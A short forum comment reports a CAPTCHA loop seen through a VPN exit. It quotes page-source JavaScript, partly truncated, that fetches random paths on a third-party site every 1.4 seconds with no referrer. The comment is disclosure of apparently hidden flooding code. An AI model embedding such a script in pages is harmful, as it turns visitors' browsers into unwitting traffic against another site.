As another datapoint with Finnish IP from Mullvad VPN: CAPTCHA loop and indeed after solving first CAPTCHA this can be found in page source:

setInterval(function(){fetch("https://gyrovague.com/tag/"+Math.random().toString(36).subst...",{ referrerPolicy:"no-referrer",mode:"no-cors" });},1400);